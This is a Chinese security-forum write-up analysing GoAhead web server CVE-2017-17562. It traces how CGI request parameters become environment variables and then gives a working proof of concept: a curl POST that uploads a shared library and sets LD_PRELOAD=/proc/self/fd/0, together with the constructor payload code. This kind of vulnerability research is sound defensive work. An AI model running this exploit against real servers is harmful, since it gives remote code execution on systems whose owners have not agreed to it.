GOAhead CVE-2017-17562深入分析

Editor 2018-01-11 19:12


1.前提准备

        GOAhead是一个嵌入式的webserver,前几周被爆出一个远程命令执行的漏洞,受漏洞影响版本:2.5-3.6.4。本文进行该漏洞的深入分析,漏洞调试环境:Ubuntu 16.04 64bit,GOAhead版本3.6.4,下载地址:https://github.com/embedthis/goahead/releases。

1.1 GOAhead软件下载和配置

GOAhead安装和cgi扩展启用参考:http://blog.csdn.net/yangguihao/article/details/49820765。

GOAhead要启用CGI时,记的是修改要修改/etc/goahead中的route.txt。

dir是cgi的存放目录,其目录下存放一个cgi_test,里面内容随便写,然后gcc编译即可。

输入cgi的url:http://172.20.94.98:8888/cgi-bin/cgi_test

1.2 LD_PRELOAD执行环境变量分析

LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载执行,动态库加载的优先级最高,一般情况下,其加载顺序为:LD_PRELOAD>LD_LIBRARY>/etc/ld.so.cache >/lib>/usr/lib.它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态库,甚至覆盖正常的函数库。

LA_PRELOAD替换前:

LA_PRELOAD替换后:

演示程序:

a.主程序(login.c)

#include

#include

#include "myverify.h"

void main(int argc, char const *argv[])

{

        char pwd[] = "123456";

        if(argc < 2)

        {

                  printf("usage: %s \n", argv[0]);

                  return;

        }

        if(!verify(pwd, argv[1]))

        {

                  printf("login success\n");

        }

        else

        {

                  printf("login fail\n");

        }

}

b.调用库(myverify.h和myverify.c)

#include

int verify(const char *s1, const char *s2);

#include

#include

#include "myverify.h"

int verify(const char *s1, const char *s2)

{

        return strcmp(s1, s2);

}

c.编译运行效果如下:

相关命令解释如下:

gcc myverify.c -fPIC -shared -o libmyverify.so #编译动态链接库

gcc login.c -L. -lmyverify -o mylogin #编译主程序

export LD_LIBRARY_PATH=/home/daizy/workplace/CDemo/LinuxAPI/ #指定动态链接库所在目录位置

ldd myverifypasswd #显示、确认依赖关系

d.替换代码如下:(myhack.c)

#include

#include

int verify(const char *s1, const char *s2)

{

        printf("hack function invoked.\n");

        return 0;

}

e.编译设置环境变量LD_PRELOAD,运行替换代码效果如下:

export LD_PRELOAD="./myhack.so" #设置LD_PRELOAD环境变量,库中的同名函数在程序运行时优先调用

ps:替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除

2. CVE分析

以GOAhead 3.6.4版本为例进行漏洞分析:

当用户post提交数据时,goahead最终会调用http.c中readEvent(Webs *wp)进行数据读取的处理,其中结构体Webs后续会常看到,此处先给出该结构体大致定义,在goahead.h中可以查找到:

typedef struct Webs {

  WebsBuf        rxbuf;              /**< Raw receive buffer */

  WebsBuf        input;              /**< Receive buffer after de-chunking */

  WebsBuf        output;            /**< Transmit buffer after chunking */

  WebsBuf        chunkbuf;          /**< Pre-chunking data buffer */

  WebsBuf        *txbuf;

  WebsHash        vars;              /**< CGI standard variables */

  int            rxChunkState;      /**< Rx chunk encoding state */

  ssize          rxChunkSize;        /**< Rx chunk size */

  char            *rxEndp;            /**< Pointer to end of raw data in input beyond endp */

  ssize          lastRead;          /**< Number of bytes last read from the socket */

  ssize          txChunkPrefixLen;  /**< Length of prefix */

  ssize          txChunkLen;        /**< Length of the chunk */

  int            txChunkState;      /**< Transmit chunk state */

  char            *filename;          /**< Document path name */

  char            *path;            /**< Path name without query. This is decoded. */

  int            sid;                /**< Socket id (handler) */

  int            routeCount;        /**< Route count limiter */

  ssize          rxLen;              /**< Rx content length */

  ssize          rxRemaining;        /**< Remaining content to read from client */

  ssize          txLen;              /**< Tx content length header value */

  int            wid;                /**< Index into webs */

#if ME_GOAHEAD_CGI

  char            *cgiStdin;          /**< Filename for CGI program input */

  int            cgifd;              /**< File handle for CGI program input */

#endif

  struct WebsRoute *route;            /**< Request route */

  struct WebsUser *user;              /**< User auth record */

  WebsWriteProc  writeData;      /**< Handler write I/O event callback. Used by fileHandler */

} Webs;

其中说明几个重要字段,后续分析会使用到:rxbuf(接受post提交的数据的buf)、vars(需要CGI处理的变量)、cgiStdin(cgi处理程序的标准输入)、cgifd(cgi处理程序的文件句柄).

readEvent(Webs *wp)代码如下:

readEvent中通过函数websRead读取用户提交的数据,并填充到rxbuf中,其中websRead()根据是否是https,采用sslread和socketRead来读取用户提交的数据。数据读取完成后,由于nbytes>0,进入到websPump()函数继续处理。

websPump代码结构如下,本质就是一个for循环,停止条件取决于canProceed,然后根据wp->state来调用相关函数进行处理;刚开始state条件是0,也就是WEBS_BEGIN,进入到parseIncoming函数处理阶段。

PUBLIC void websPump(Webs *wp)

{

  bool    canProceed;

  for (canProceed = 1; canProceed; ) {

      switch (wp->state) {

      case WEBS_BEGIN:

          canProceed = parseIncoming(wp);

          break;

      case WEBS_CONTENT:

          canProceed = processContent(wp);

          break;

      case WEBS_READY:

          if (!websRunRequest(wp)) {

              /* Reroute if the handler re-wrote the request */

              websRouteRequest(wp);

              wp->state = WEBS_READY;

              canProceed = 1;

              continue;

          }

          canProceed = (wp->state != WEBS_RUNNING);

          break;

      case WEBS_RUNNING:

          /* Nothing to do until websDone is called */

          return;

      case WEBS_COMPLETE:

          canProceed = complete(wp, 1);

          break;

      }

  }

}

parseIncoming()函数会parseHeader()进行http header头的处理【parseHeader函数中,根据content-length的值,设置reLen的值,由于rxLen>0然后state=WEBS_CONTENT】。

然后进入函数websRouteRequest(),根据1.1节里面提到的route.txt进行request route处理设置,比如route到cgi处理。

判断route->handler->service是否是cgiHandler,如果是cgiHandler,则先判断method,是否是post,然后设置cgiStdin=websGetCgiCommName(),同时cgifd = open(cgiStdin),然后返回1=canProceed,继续在websPump()函数的for循环中。parseIncoming函数整体代码如下:

其中函数websGetCgiCommName调用的是websTempFile函数,该函数注释说明如下,返回的文件路径是/tmp/cgi***:

/**

  Create a temporary filename

  This does not guarantee the filename is unique or that it is not already in use by another application.

  @param dir Directory to locate the temp file. Defaults to the O/S default temporary directory (usually /tmp)

  @param prefix Filename prefix

  @return An allocated filename string

  @ingroup Webs

  @stability Stable

*/

PUBLIC char *websTempFile(char *dir, char *prefix);

1

由于state=WEBS_CONTENT,进入到processContent()函数处理:先进行filterChunkData函数的chunk过滤处理,当用户在http 头部,使用Transfer-Encoding: chunked时,数据以一系列分块的形式进行发送,分块传输不是分析重点,并且后续poc也不用分块传入,就不深入分析了,简而言之,filterChunkData会设canProceed=1,wp->eof=1;后续由于cgifd>0,因此进入到函数websProcessCgiData (),websProcessCgiData处理完后,由于eof=1,因此state= WEBS_READY.

websProcessCgiData函数:也就是把用户post提交的数据,保存到cgifd中,就是先前通过cgiStdin=websGetCgiCommName()获得,也就是文件“/tmp/cgi***”。

此时由于state= WEBS_READY,canProceed=1,进入到websRunRequest(wp)函数中:该函数中就是先提取url中的var变量,然后设置state=WEBS_RUNNING,然后调用(*route->handler->service)(wp),即cgiHandler (wp),还函数在cgi.c中。

由于cgiHandler()在处理cgi扩展时,只对REMOTE_HOST和HTTP_AUTHORIZATION进行了过滤,其他var变量都会当成可信环境变量,传入到cgi扩展处理进程中。

Cgi.c中在处理完参数之后,然后将标准输入、输出重定向到:/tmp/cgi***,也就是post数据保存的地方,代码详情如下:

输入、输出重定向完成后,cgi.c中就调用launchCgi,开始调用cgi的扩展处理进程,并传入上述envp生成的环境变量。【注意:launchCgi分三个版本:windows、unix和VXWORKS,函数别定位错误】

找到launchCgi处理函数,代码如下:

执行到函数vfork()后,会将子进程(也就是cgi的处理进程)的标准出入、输出重定向到前文分析到的/tmp/cgi***文件,也就是post数据存放的文件;然后调用execve()调用cgi处理进程,并传递envp中的系统环境变量,结合上文分析的LA_PRELOAD变量,可以实现任意代码执行。

但是现在还存在一个问题,就是通过环境变量:LA_PRELOAD,可以指定加载本地的共享库,进行代码执行,但是如何变成远程危害命令执行呢?也就是如何上传恶意代码,并且通过环境变量:LA_PRELOAD,进行指定呢?

在前面分析中我们得知,由于goahead webserver在处理cgi扩展时,当用户post提交了数据,goahead webserver会将其存到/tmp/cgi***中,这不就是可以恶意代码了嘛?

但是如何知道上传的全路径名称呢?爆破还是其他,都不是好的方法。由于cgi处理进程中,将标准输入、输出重定向到了/tmp/cgi***,所以现在问题,就是我们能不能找到一个路径连接,是指向标准输入或输入的呢?Linux上刚好存在这种符号链接:/proc/self/fd/0和/dev/stdin,于是我们可以在HTTP参数中内置?LD_PRELOAD=/proc/self/fd/0命令。

整个goahead-cgi的执行流程图如下:

3. POC

daizy@daizy:~/workplace/CDemo$ curl -X POST --data-binary @payload.so http://172.20.94.98:8888/cgi-bin/cgi_test?LD_PRELOAD=/proc/self/fd/0 -i | head

% Total    % Received % Xferd  Average Speed  Time    Time    Time  Current

                                Dload  Upload  Total  Spent    Left  Speed

100  8128    0    0  100  8128      0  7885  0:00:01  0:00:01 --:--:--  7891

curl: (18) transfer closed with outstanding read data remaining

HTTP/1.1 200 OK

Date: Thu Dec 28 12:33:37 2017

Transfer-Encoding: chunked

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Pragma: no-cache

Cache-Control: no-cache

hacked by daizy

其中payload.so是由以下代码编译获得:

#include

static void before_main(void) __attribute__((constructor));

static void before_main(void)

{

        write(1, "hacked by daizy\n",16);

}

编译命令:gcc -shared -fPIC payload.c -o payload.so

其中标签属性:constructor,表示该函数由.init初始化时执行,也就是在cgi的扩展main函数之前会被执行。

4. 参考文章

1. https://www.elttam.com.au/blog/goahead/

2. https://www.cnblogs.com/net66/p/5609026.html

本文由看雪论坛 uestcdzy 原创  转载请注明来自看雪社区

最新评论 (1)
admin 6月前
1
fdasfasf
登录后即可评论
返回